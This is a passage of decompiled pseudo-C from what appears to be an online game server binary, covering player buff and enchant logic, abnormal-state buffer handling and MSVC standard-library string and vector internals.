unsigned __int16 v6; // cx@1 int v7; // eax@3 bool v8; // cf@3 int v9; // eax@4 int v10; // eax@5 int v11; // edx@6 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CanChargedEnchant"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_CanChargedEnchant"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_WORD *)v2 + 45539); v4 = *((_DWORD *)v2 + 22768); v5 = *((_WORD *)v2 + 45534); v6 = *(_WORD *)(v4 + 12 * v3 + 4); while ( v6 < v5 ) { v7 = v6; v8 = v6 < v5; v6 = *(_WORD *)(v4 + 12 * v6 + 4); if ( !v8 ) break; v9 = v4 + 12 * v7; if ( !*(_BYTE *)(v9 + 8) ) break; v10 = *(_DWORD *)v9; if ( !v10 ) break; v11 = *(_DWORD *)v10; if ( *(_DWORD *)v10 && *(_DWORD *)(v11 + 36) == 31 && *(_WORD *)(v11 + 40) == *(_WORD *)(index + 40) && *(_BYTE *)(*(_DWORD *)v10 + 42) >= *(_BYTE *)(index + 42) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CanChargedEnchant"); return 0; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CanChargedEnchant"); return 1; } //----- (0040F260) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_RemoveEE_SETABSTATE(void *this, int abstateid) { void *v2; // ebp@1 unsigned __int16 v3; // dx@1 unsigned __int16 v4; // di@2 int v5; // ecx@3 int v6; // eax@3 bool v7; // cf@3 int v8; // eax@4 int v9; // eax@5 int v10; // ecx@6 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RemoveEE_SETABSTATE"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_RemoveEE_SETABSTATE"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_WORD *)(*((_DWORD *)v2 + 22768) + 12 * *((_WORD *)v2 + 45539) + 4); while ( 1 ) { v4 = *((_WORD *)v2 + 45534); if ( v3 >= v4 ) break; v5 = *((_DWORD *)v2 + 22768); v6 = v3; v7 = v3 < v4; v3 = *(_WORD *)(v5 + 12 * v3 + 4); if ( !v7 ) break; v8 = v5 + 12 * v6; if ( !*(_BYTE *)(v8 + 8) ) break; v9 = *(_DWORD *)v8; if ( !v9 ) break; v10 = *(_DWORD *)v9; if ( *(_DWORD *)v9 && *(_DWORD *)(v10 + 36) == 31 ) { if ( *(_WORD *)(v10 + 40) == abstateid ) *(_BYTE *)(v9 + 4) = 1; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RemoveEE_SETABSTATE"); } //----- (0040F340) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_RemoveAllChargeBuff(void *this) { void *v1; // ebp@1 unsigned __int16 v2; // cx@1 unsigned __int16 v3; // di@2 int v4; // edx@3 int v5; // eax@3 bool v6; // cf@3 int v7; // eax@4 int v8; // eax@5 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RemoveAllChargeBuff"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_RemoveAllChargeBuff"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_WORD *)(*((_DWORD *)v1 + 22768) + 12 * *((_WORD *)v1 + 45539) + 4); while ( 1 ) { v3 = *((_WORD *)v1 + 45534); if ( v2 >= v3 ) break; v4 = *((_DWORD *)v1 + 22768); v5 = v2; v6 = v2 < v3; v2 = *(_WORD *)(v4 + 12 * v2 + 4); if ( !v6 ) break; v7 = v4 + 12 * v5; if ( !*(_BYTE *)(v7 + 8) ) break; v8 = *(_DWORD *)v7; if ( !v8 ) break; if ( *(_DWORD *)v8 ) *(_BYTE *)(v8 + 4) = 1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RemoveAllChargeBuff"); } //----- (0040F3F0) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::erase(std::basic_string,std::allocator > *this, unsigned int _Off, unsigned int _Count) { std::basic_string,std::allocator > *v3; // esi@1 unsigned int v4; // edi@3 unsigned int v5; // eax@3 unsigned int v6; // ecx@6 int v7; // ebx@6 int v8; // edx@7 int v9; // ecx@10 unsigned int v10; // ecx@12 int v11; // eax@12 v3 = this; if ( this->_Mysize < _Off ) std::_String_base::_Xran(&this->baseclass_0.___u0.baseclass_0); v4 = _Count; v5 = this->_Mysize - _Off; if ( v5 < _Count ) v4 = this->_Mysize - _Off; if ( v4 ) { v6 = this->_Myres; v7 = (int)&v3->_Bx; if ( v6 < 0x10 ) v8 = (int)&v3->_Bx; else v8 = *(_DWORD *)v7; if ( v6 < 0x10 ) v9 = (int)&v3->_Bx; else v9 = *(_DWORD *)v7; memmove((char *)(_Off + v9), (char *)(v4 + _Off + v8), v5 - v4); v10 = v3->_Myres; v11 = v3->_Mysize - v4; v3->_Mysize = v11; if ( v10 >= 0x10 ) v7 = *(_DWORD *)v7; *(_BYTE *)(v7 + v11) = 0; } return v3; } //----- (0040F470) -------------------------------------------------------- void __thiscall std::basic_string_std::allocator>::_Tidy(std::basic_string,std::allocator > *this, bool _Built, unsigned int _Newsize) { std::basic_string,std::allocator > *v3; // ebx@1 const void *v4; // eax@3 v3 = this; if ( _Built && this->_Myres >= 0x10 ) { v4 = *(const void **)&this->_Bx._Buf[0]; if ( _Newsize ) memcpy(&this->_Bx, v4, _Newsize); operator delete((void *)v4); } v3->_Mysize = _Newsize; v3->_Myres = 15; v3->_Bx._Buf[_Newsize] = 0; } //----- (0040F4D0) -------------------------------------------------------- void __thiscall std::basic_string_std::allocator>::_Copy(std::basic_string,std::allocator > *this, unsigned int _Newsize, unsigned int _Oldlen) { unsigned int v3; // ebx@1 std::basic_string,std::allocator > *v4; // esi@1 unsigned int v5; // edi@3 unsigned int v6; // ecx@3 void *v7; // edx@6 unsigned int v8; // ecx@6 const void *v9; // esi@8 int v10; // eax@13 int v11; // [sp+0h] [bp-24h]@1 std::basic_string,std::allocator > *v12; // [sp+10h] [bp-14h]@1 int *v13; // [sp+14h] [bp-10h]@1 int v14; // [sp+20h] [bp-4h]@6 void *_Ptr; // [sp+2Ch] [bp+8h]@6 v3 = _Newsize | 0xF; v4 = this; v13 = &v11; v12 = this; if ( (_Newsize | 0xF) <= 0xFFFFFFFE ) { v5 = this->_Myres; v6 = this->_Myres >> 1; if ( v3 / 3 < v6 && v5 <= -2 - v6 ) v3 = v6 + v5; } else { v3 = _Newsize; } v14 = 0; v7 = operator new(v3 + 1); _Ptr = v7; v8 = _Oldlen; if ( _Oldlen ) { if ( v4->_Myres < 0x10 ) v9 = &v4->_Bx; else v9 = *(const void **)&v4->_Bx._Buf[0]; memcpy(v7, v9, _Oldlen); v4 = v12; v8 = _Oldlen; } if ( v4->_Myres >= 0x10 ) { operator delete(*(void **)&v4->_Bx._Buf[0]); v7 = _Ptr; v8 = _Oldlen; } v10 = (int)&v4->_Bx; v4->_Bx._Buf[0] = 0; *(_DWORD *)&v4->_Bx._Buf[0] = v7; v4->_Myres = v3; v4->_Mysize = v8; if ( v3 >= 0x10 ) v10 = (int)v7; *(_BYTE *)(v10 + v8) = 0; } //----- (0040F5DB) -------------------------------------------------------- void __usercall _L147102(int a1) { int v1; // esi@1 v1 = *(_DWORD *)(a1 - 20); if ( *(_DWORD *)(v1 + 24) >= 0x10u ) operator delete(*(void **)(v1 + 4)); *(_DWORD *)(v1 + 24) = 15; *(_DWORD *)(v1 + 20) = 0; *(_BYTE *)(v1 + 4) = 0; _CxxThrowException(0, 0); } //----- (0040F610) -------------------------------------------------------- AbnormalStateContainer::AbstateElementInObject *__cdecl std::_Uninit_copy>::const_iterator_AbnormalStateContainer::AbstateElementInObject___std::allocator>(AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last, AbnormalStateContainer::AbstateElementInObject *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { AbnormalStateContainer::AbstateElementInObject *v5; // edx@1 AbnormalStateContainer::AbstateElementInObject *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; result = (AbnormalStateContainer::AbstateElementInObject *)((char *)result + 116) ) { if ( result ) memcpy(result, v5, 0x74u); v5 = (AbnormalStateContainer::AbstateElementInObject *)((char *)v5 + 116); } return result; } //----- (0040F650) -------------------------------------------------------- void __thiscall AbnormalStateShelter::AbstateShelter::as_Remove(AbnormalStateShelter::AbstateShelter *this, unsigned int chrregnum) { unsigned int v2; // edi@1 int i; // ebx@1 AbnormalStateShelter::AbstateBuffer *v4; // esi@2 v2 = 0; for ( i = 0; ; ++i ) { v4 = this->as_Safe._Myfirst; if ( !v4 ) break; if ( v2 >= this->as_Safe._Mylast - v4 ) break; if ( v4[i].ab_Master == chrregnum ) v4[i].ab_Master = -1; ++v2; } } //----- (0040F6A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SKILL_REPLYREVIVE_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 unsigned int v5; // eax@1 char v6; // al@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_REPLYREVIVE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_SKILL_REPLYREVIVE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); AbnormalStateShelter::AbstateShelter::as_Remove(&g_AbstateShelter, v5); v6 = *((_BYTE *)v4 + 23325); if ( v6 & 0x20 ) { *((_BYTE *)v4 + 23325) = v6 & 0xDF; ShineObjectClass::ShinePlayer::sp_ReviveNow(v4, 0x3E8u); } else { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 18, 43, 5382); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_REPLYREVIVE_CMD"); } //----- (0040F780) -------------------------------------------------------- void __thiscall AbnormalStateShelter::AbstateBuffer::ab_Recover(AbnormalStateShelter::AbstateBuffer *this, #331 *so) { AbnormalStateShelter::AbstateBuffer *v2; // esi@1 int v3; // ebx@1 unsigned int v4; // edi@1 AbnormalStateContainer::AbstateElementInObject *v5; // eax@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateShelter::AbstateBuffer::ab_Recover"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateShelter::AbstateBuffer::ab_Recover"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; v4 = 0; while ( 1 ) { v5 = v2->ab_List._Myfirst; if ( !v5 ) break; if ( v4 >= (signed int)((char *)v2->ab_List._Mylast - (char *)v5) / 116 ) break; AbnormalStateContainer::AbstateElementInObject::aeo_Recover( (AbnormalStateContainer::AbstateElementInObject *)((char *)v2->ab_List._Myfirst + v3), so); ++v4; v3 += 116; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateShelter::AbstateBuffer::ab_Recover"); } //----- (0040F850) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::assign(std::basic_string,std::allocator > *this, std::basic_string,std::allocator > *_Right, unsigned int _Roff, unsigned int _Count) { std::basic_string,std::allocator > *v4; // ebx@1 unsigned int v5; // ebp@3 std::basic_string,std::allocator > *result; // eax@6 unsigned int v7; // eax@9 bool v8; // cf@10 bool v9; // zf@10 char *v10; // edx@13 int v11; // eax@19 void *v12; // edi@20 v4 = this; if ( _Right->_Mysize < _Roff ) std::_String_base::_Xran(&this->baseclass_0.___u0.baseclass_0); v5 = _Right->_Mysize - _Roff; if ( _Count < v5 ) v5 = _Count; if ( this == _Right ) { std::basic_string_std::allocator>::erase(this, _Roff + v5, 0xFFFFFFFFu); std::basic_string_std::allocator>::erase(v4, 0, _Roff); return v4; } if ( v5 > 0xFFFFFFFE ) std::_String_base::_Xlen(&this->baseclass_0.___u0.baseclass_0); v7 = this->_Myres; if ( v7 >= v5 ) { v8 = 0; v9 = v5 == 0; if ( !v5 ) { this->_Mysize = 0; if ( v7 < 0x10 ) { this->_Bx._Buf[0] = 0; result = this; } else { **(_BYTE **)&this->_Bx._Buf[0] = 0; result = this; } return result; } } else { std::basic_string_std::allocator>::_Copy(this, v5, this->_Mysize); v8 = 0; v9 = v5 == 0; } if ( !(v8 | v9) ) { if ( _Right->_Myres < 0x10 ) v10 = (char *)&_Right->_Bx; else v10 = *(char **)&_Right->_Bx._Buf[0]; v11 = (int)&v4->_Bx; if ( v4->_Myres < 0x10 ) v12 = &v4->_Bx; else v12 = *(void **)v11; memcpy(v12, &v10[_Roff], v5); v8 = v4->_Myres < 0x10; v4->_Mysize = v5; if ( !v8 ) v11 = *(_DWORD *)v11; *(_BYTE *)(v11 + v5) = 0; } return v4; } //----- (0040F940) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::assign(std::basic_string,std::allocator > *this, const char *_Ptr, unsigned int _Num) { std::basic_string,std::allocator > *v3; // ebx@1 unsigned int v4; // edx@1 char *v5; // eax@2 char *v6; // eax@5 char *v7; // ecx@6 std::basic_string,std::allocator > *result; // eax@11 unsigned int v9; // eax@14 bool v10; // cf@15 bool v11; // zf@15 void *v12; // edi@18 v3 = this; v4 = this->_Myres; if ( v4 < 0x10 ) v5 = (char *)&this->_Bx; else v5 = *(char **)&this->_Bx._Buf[0]; if ( _Ptr < v5 || ((v6 = (char *)&this->_Bx, v4 < 0x10) ? (v7 = (char *)&this->_Bx) : (v7 = *(char **)v6), &v7[v3->_Mysize] <= _Ptr) ) { if ( _Num > 0xFFFFFFFE ) std::_String_base::_Xlen(&v3->baseclass_0.___u0.baseclass_0); v9 = v3->_Myres; if ( v9 >= _Num ) { v10 = 0; v11 = _Num == 0; if ( !_Num ) { v3->_Mysize = 0; if ( v9 < 0x10 ) { v3->_Bx._Buf[0] = 0; result = v3; } else { **(_BYTE **)&v3->_Bx._Buf[0] = 0; result = v3; } return result; } } else { std::basic_string_std::allocator>::_Copy(v3, _Num, v3->_Mysize); v10 = 0; v11 = _Num == 0; } if ( !(v10 | v11) ) { if ( v3->_Myres < 0x10 ) v12 = &v3->_Bx; else v12 = *(void **)&v3->_Bx._Buf[0]; memcpy(v12, _Ptr, _Num); v10 = v3->_Myres < 0x10; v3->_Mysize = _Num; if ( !v10 ) { *(_BYTE *)(*(_DWORD *)&v3->_Bx._Buf[0] + _Num) = 0; return v3; } v3->_Bx._Buf[_Num] = 0; } result = v3; } else { if ( v4 >= 0x10 ) v6 = *(char **)v6; result = std::basic_string_std::allocator>::assign(v3, v3, _Ptr - v6, _Num); } return result; } //----- (0040FA30) -------------------------------------------------------- AbnormalStateContainer::AbstateElementInObject *__thiscall std::vector>::_Ucopy(std::allocator *_Al, AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last, AbnormalStateContainer::AbstateElementInObject *__formal) { return std::_Uninit_copy>::const_iterator_AbnormalStateContainer::AbstateElementInObject___std::allocator>( _First, _Last, __formal, _Al, (std::_Nonscalar_ptr_iterator_tag)__formal); } //----- (0040FA50) -------------------------------------------------------- void __thiscall std::basic_string_std::allocator>::basic_string_std::allocator>(std::basic_string,std::allocator > *this, std::basic_string,std::allocator > *_Right) { this->_Mysize = 0; this->_Myres = 15; this->_Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(this, _Right, 0, 0xFFFFFFFFu); } //----- (0040FA80) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::assign(std::basic_string,std::allocator > *this, const char *_Ptr) { return std::basic_string_std::allocator>::assign(this, _Ptr, strlen(_Ptr)); } //----- (0040FAB0) -------------------------------------------------------- void __thiscall std::vector>::_Destroy(std::vector > *this, AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last) { AbnormalStateContainer::AbstateElementInObject *i; // esi@1 for ( i = _First; i != _Last; i = (AbnormalStateContainer::AbstateElementInObject *)((char *)i + 116) ) AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject(i); } //----- (0040FAE0) -------------------------------------------------------- void __thiscall std::basic_string_std::allocator>::basic_string_std::allocator>(std::basic_string,std::allocator > *this, const char *_Ptr) { this->_Myres = 15; this->_Mysize = 0; this->_Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(this, _Ptr, strlen(_Ptr)); } //----- (0040FB20) -------------------------------------------------------- void __thiscall std::logic_error::logic_error(std::logic_error *this, std::basic_string,std::allocator > *_Message) { std::logic_error *v2; // esi@1 v2 = this; exception::exception(&this->baseclass_0); v2->baseclass_0.vfptr = (exceptionVtbl *)&std::logic_error::_vftable_; v2->_Str._Mysize = 0; v2->_Str._Myres = 15; v2->_Str._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&v2->_Str, _Message, 0, 0xFFFFFFFFu); } // 5DBB4C: using guessed type int (__thiscall *std__logic_error___vftable_)(void *p, char); //----- (0040FB80) -------------------------------------------------------- void __thiscall std::vector>::_Tidy(std::vector > *this) { std::vector > *v1; // ebx@1 AbnormalStateContainer::AbstateElementInObject *v2; // esi@1 AbnormalStateContainer::AbstateElementInObject *i; // edi@2 v1 = this; v2 = this->_Myfirst; if ( v2 ) { for ( i = this->_Mylast; v2 != i; v2 = (AbnormalStateContainer::AbstateElementInObject *)((char *)v2 + 116) ) AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject(v2); operator delete(v1->_Myfirst); } v1->_Myfirst = 0; v1->_Mylast = 0; v1->_Myend = 0; } //----- (0040FBD0) -------------------------------------------------------- void __thiscall std::logic_error::logic_error(std::logic_error *this, std::logic_error *__that) { std::logic_error *v2; // esi@1 v2 = this; exception::exception(&this->baseclass_0, &__that->baseclass_0); v2->baseclass_0.vfptr = (exceptionVtbl *)&std::logic_error::_vftable_; v2->_Str._Myres = 15; v2->_Str._Mysize = 0; v2->_Str._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&v2->_Str, &__that->_Str, 0, 0xFFFFFFFFu); } // 5DBB4C: using guessed type int (__thiscall *std__logic_error___vftable_)(void *p, char); //----- (0040FC40) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0040FCB0) -------------------------------------------------------- void __thiscall std::length_error::length_error(std::length_error *this, std::length_error *__that) { std::length_error *v2; // esi@1 v2 = this; std::logic_error::logic_error(&this->baseclass_0, &__that->baseclass_0); v2->baseclass_0.baseclass_0.vfptr = (exceptionVtbl *)&std::length_error::_vftable_; } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0040FCD0) -------------------------------------------------------- bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity) { std::vector > *v2; // esi@1 bool result; // al@2 void *v4; // eax@5 v2 = this; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( _Capacity ) { if ( _Capacity > (unsigned int)&wholesaver.ws_savestore[365].esc_abstate.buffer[29780] ) std::vector>::_Xlen((std::vector > *)this); v4 = operator new(116 * _Capacity); v2->_Myend = (AbnormalStateContainer::AbstateElementInObject *)((char *)v4 + 116 * _Capacity); v2->_Myfirst = (AbnormalStateContainer::AbstateElementInObject *)v4; v2->_Mylast = (AbnormalStateContainer::AbstateElementInObject *)v4; result = 1; } else { result = 0; } return result; } //----- (0040FD20) -------------------------------------------------------- void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right) { AbnormalStateContainer::AbstateElementInObject *v2; // eax@1 std::vector > *v3; // esi@1 AbnormalStateContainer::AbstateElementInObject *v4; // ecx@1 int v5; // edi@2 signed int v6; // edx@3 unsigned int v7; // edi@7 void *v8; // eax@7 AbnormalStateContainer::AbstateElementInObject *v9; // ecx@7 AbnormalStateContainer::AbstateElementInObject *v10; // ST00_4@7 int v11; // [sp+0h] [bp-20h]@1 std::vector > *v12; // [sp+Ch] [bp-14h]@1 int *v13; // [sp+10h] [bp-10h]@1 int v14; // [sp+1Ch] [bp-4h]@7 v2 = _Right->_Myfirst; v3 = this; v4 = 0; v13 = &v11; v12 = v3; if ( v2 ) { v6 = (signed int)((char *)_Right->_Mylast + (unsigned int)(((unsigned __int64)(-1925330167i64 * (unsigned int)((char *)_Right->_Mylast - (char *)v2)) >> 32) - (unsigned int)v2)) >> 6; v5 = v6 + ((unsigned int)v6 >> 31); v4 = 0; } else { v5 = 0; } v3->_Myfirst = v4; v3->_Mylast = v4; v3->_Myend = v4; if ( (AbnormalStateContainer::AbstateElementInObject *)v5 != v4 ) { if ( v5 > (unsigned int)&wholesaver.ws_savestore[365].esc_abstate.buffer[29780] ) std::vector>::_Xlen((std::vector > *)v3); v7 = 116 * v5; v8 = operator new(v7); v3->_Myfirst = (AbnormalStateContainer::AbstateElementInObject *)v8; v3->_Mylast = (AbnormalStateContainer::AbstateElementInObject *)v8; v3->_Myend = (AbnormalStateContainer::AbstateElementInObject *)((char *)v8 + v7); v9 = _Right->_Mylast; v10 = _Right->_Myfirst; v14 = 0; v3->_Mylast = std::_Uninit_copy>::const_iterator_AbnormalStateContainer::AbstateElementInObject___std::allocator>( v10, v9, (AbnormalStateContainer::AbstateElementInObject *)v8, &v3->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Right); } } //----- (0040FDD5) -------------------------------------------------------- void __usercall _L149486(int a1) { std::vector>::_Tidy(*(std::vector > **)(a1 - 20)); _CxxThrowException(0, 0); } //----- (0040FDF0) -------------------------------------------------------- void *__thiscall std::vector>::operator_(void *this, int __formal) { void *v2; // esi@1 int v3; // eax@2 signed int v4; // edx@3 int v5; // ecx@3 void *result; // eax@4 AbnormalStateContainer::AbstateElementInObject *v7; // ebx@5 int v8; // eax@6 AbnormalStateContainer::AbstateElementInObject *v9; // eax@9 int v10; // eax@9 int v11; // eax@13 AbnormalStateContainer::AbstateElementInObject *v12; // edi@16 unsigned int v13; // eax@19 v2 = this; if ( this == (void *)__formal ) return v2; v3 = *(_DWORD *)(__formal + 4); if ( !v3 || (v4 = (signed int)(*(_DWORD *)(__formal + 8) - v3 + ((unsigned __int64)(-1925330167i64 * (*(_DWORD *)(__formal + 8) - v3)) >> 32)) >> 6, (v5 = v4 + ((unsigned int)v4 >> 31)) == 0) ) { std::vector>::_Tidy((std::vector > *)v2); return v2; } v7 = (AbnormalStateContainer::AbstateElementInObject *)*((_DWORD *)v2 + 1); if ( v7 ) v8 = (*((_DWORD *)v2 + 2) - (signed int)v7) / 116; else v8 = 0; if ( v5 > (unsigned int)v8 ) { if ( v7 ) v11 = (*((_DWORD *)v2 + 3) - (signed int)v7) / 116; else v11 = 0; if ( v5 <= (unsigned int)v11 ) { v12 = (AbnormalStateContainer::AbstateElementInObject *)(*(_DWORD *)(__formal + 4) + 116 * std::vector>::size((std::vector > *)v2)); std::copy( *(AbnormalStateContainer::AbstateElementInObject **)(__formal + 4), v12, v7); *((_DWORD *)v2 + 2) = std::_Uninit_copy>::const_iterator_AbnormalStateContainer::AbstateElementInObject___std::allocator>( v12, *(AbnormalStateContainer::AbstateElementInObject **)(__formal + 8), *((AbnormalStateContainer::AbstateElementInObject **)v2 + 2), (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)__formal); return v2; } if ( v7 ) { std::vector>::_Destroy( (std::vector > *)v2, v7, *((AbnormalStateContainer::AbstateElementInObject **)v2 + 2)); operator delete(*((void **)v2 + 1)); } v13 = std::vector>::size((std::vector > *)__formal); if ( std::vector>::_Buy( (std::vector > *)v2, v13) ) *((_DWORD *)v2 + 2) = std::vector>::_Ucopy( (std::allocator *)v2, *(AbnormalStateContainer::AbstateElementInObject **)(__formal + 4), *(AbnormalStateContainer::AbstateElementInObject **)(__formal + 8), *((AbnormalStateContainer::AbstateElementInObject **)v2 + 1)); return v2; } v9 = std::copy( *(AbnormalStateContainer::AbstateElementInObject **)(__formal + 4), *(AbnormalStateContainer::AbstateElementInObject **)(__formal + 8), v7); std::vector>::_Destroy( (std::vector > *)v2, v9, *((AbnormalStateContainer::AbstateElementInObject **)v2 + 2)); v10 = *(_DWORD *)(__formal + 4); if ( v10 ) { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1) + 116 * (*(_DWORD *)(__formal + 8) - v10) / 116; result = v2; } else { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1); result = v2; } return result; } //----- (0040FF70) -------------------------------------------------------- void __thiscall AbnormalStateShelter::AbstateBuffer::_AbstateBuffer(AbnormalStateShelter::AbstateBuffer *this) { std::vector>::_Tidy(&this->ab_List); } //----- (0040FF80) -------------------------------------------------------- AbnormalStateShelter::AbstateBuffer *__cdecl std::_Copy_backward_opt(AbnormalStateShelter::AbstateBuffer *_First, AbnormalStateShelter::AbstateBuffer *_Last, AbnormalStateShelter::AbstateBuffer *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { AbnormalStateShelter::AbstateBuffer *v4; // esi@1 AbnormalStateShelter::AbstateBuffer *v5; // edi@2 unsigned int v6; // eax@3 AbnormalStateShelter::AbstateBuffer *result; // eax@4 v4 = _Last; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { v6 = v4[-1].ab_Master; --v4; --v5; v5->ab_Master = v6; std::vector>::operator_( &v5->ab_List, (int)&v4->ab_List); } while ( v4 != _First ); result = v5; } return result; } //----- (0040FFC0) -------------------------------------------------------- void __cdecl std::fill(AbnormalStateShelter::AbstateBuffer *_First, AbnormalStateShelter::AbstateBuffer *_Last, AbnormalStateShelter::AbstateBuffer *_Val) { AbnormalStateShelter::AbstateBuffer *i; // esi@1 for ( i = _First; i != _Last; ++i ) { i->ab_Master = _Val->ab_Master; std::vector>::operator_( &i->ab_List, (int)&_Val->ab_List); } } //----- (0040FFF0) -------------------------------------------------------- AbnormalStateShelter::AbstateBuffer *__cdecl std::_Uninit_copy>(AbnormalStateShelter::AbstateBuffer *_First, AbnormalStateShelter::AbstateBuffer *_Last, AbnormalStateShelter::AbstateBuffer *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { AbnormalStateShelter::AbstateBuffer *v5; // esi@1 AbnormalStateShelter::AbstateBuffer *v6; // edi@1 int v8; // [sp+0h] [bp-20h]@1 AbnormalStateShelter::AbstateBuffer *_Next; // [sp+Ch] [bp-14h]@1 int *v10; // [sp+10h] [bp-10h]@1 int v11; // [sp+1Ch] [bp-4h]@1 v5 = _Dest; v6 = _First; v10 = &v8; _Next = _Dest; v11 = 0; while ( v6 != _Last ) { LOBYTE(v11) = 1; if ( v5 ) { v5->ab_Master = v6->ab_Master; std::vector>::vector>( &v5->ab_List, &v6->ab_List); } ++v5; LOBYTE(v11) = 0; ++v6; } return v5; } //----- (00410090) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(AbnormalStateShelter::AbstateBuffer *_First, unsigned int _Count, AbnormalStateShelter::AbstateBuffer *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { AbnormalStateShelter::AbstateBuffer *v5; // esi@1 unsigned int v6; // edi@1 int v7; // [sp+0h] [bp-20h]@1 AbnormalStateShelter::AbstateBuffer *_Next; // [sp+Ch] [bp-14h]@1 int *v9; // [sp+10h] [bp-10h]@1 int v10; // [sp+1Ch] [bp-4h]@1 v5 = _First; v6 = _Count; v9 = &v7; _Next = _First; v10 = 0; while ( v6 > 0 ) { LOBYTE(v10) = 1; if ( v5 ) { v5->ab_Master = _Val->ab_Master; std::vector>::vector>( &v5->ab_List, &_Val->ab_List); } --v6; ++v5; LOBYTE(v10) = 0; } } //----- (00410130) -------------------------------------------------------- AbnormalStateShelter::AbstateBuffer *__thiscall std::vector>::_Ufill(std::vector > *this, AbnormalStateShelter::AbstateBuffer *_Ptr, unsigned int _Count, AbnormalStateShelter::AbstateBuffer *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (00410160) 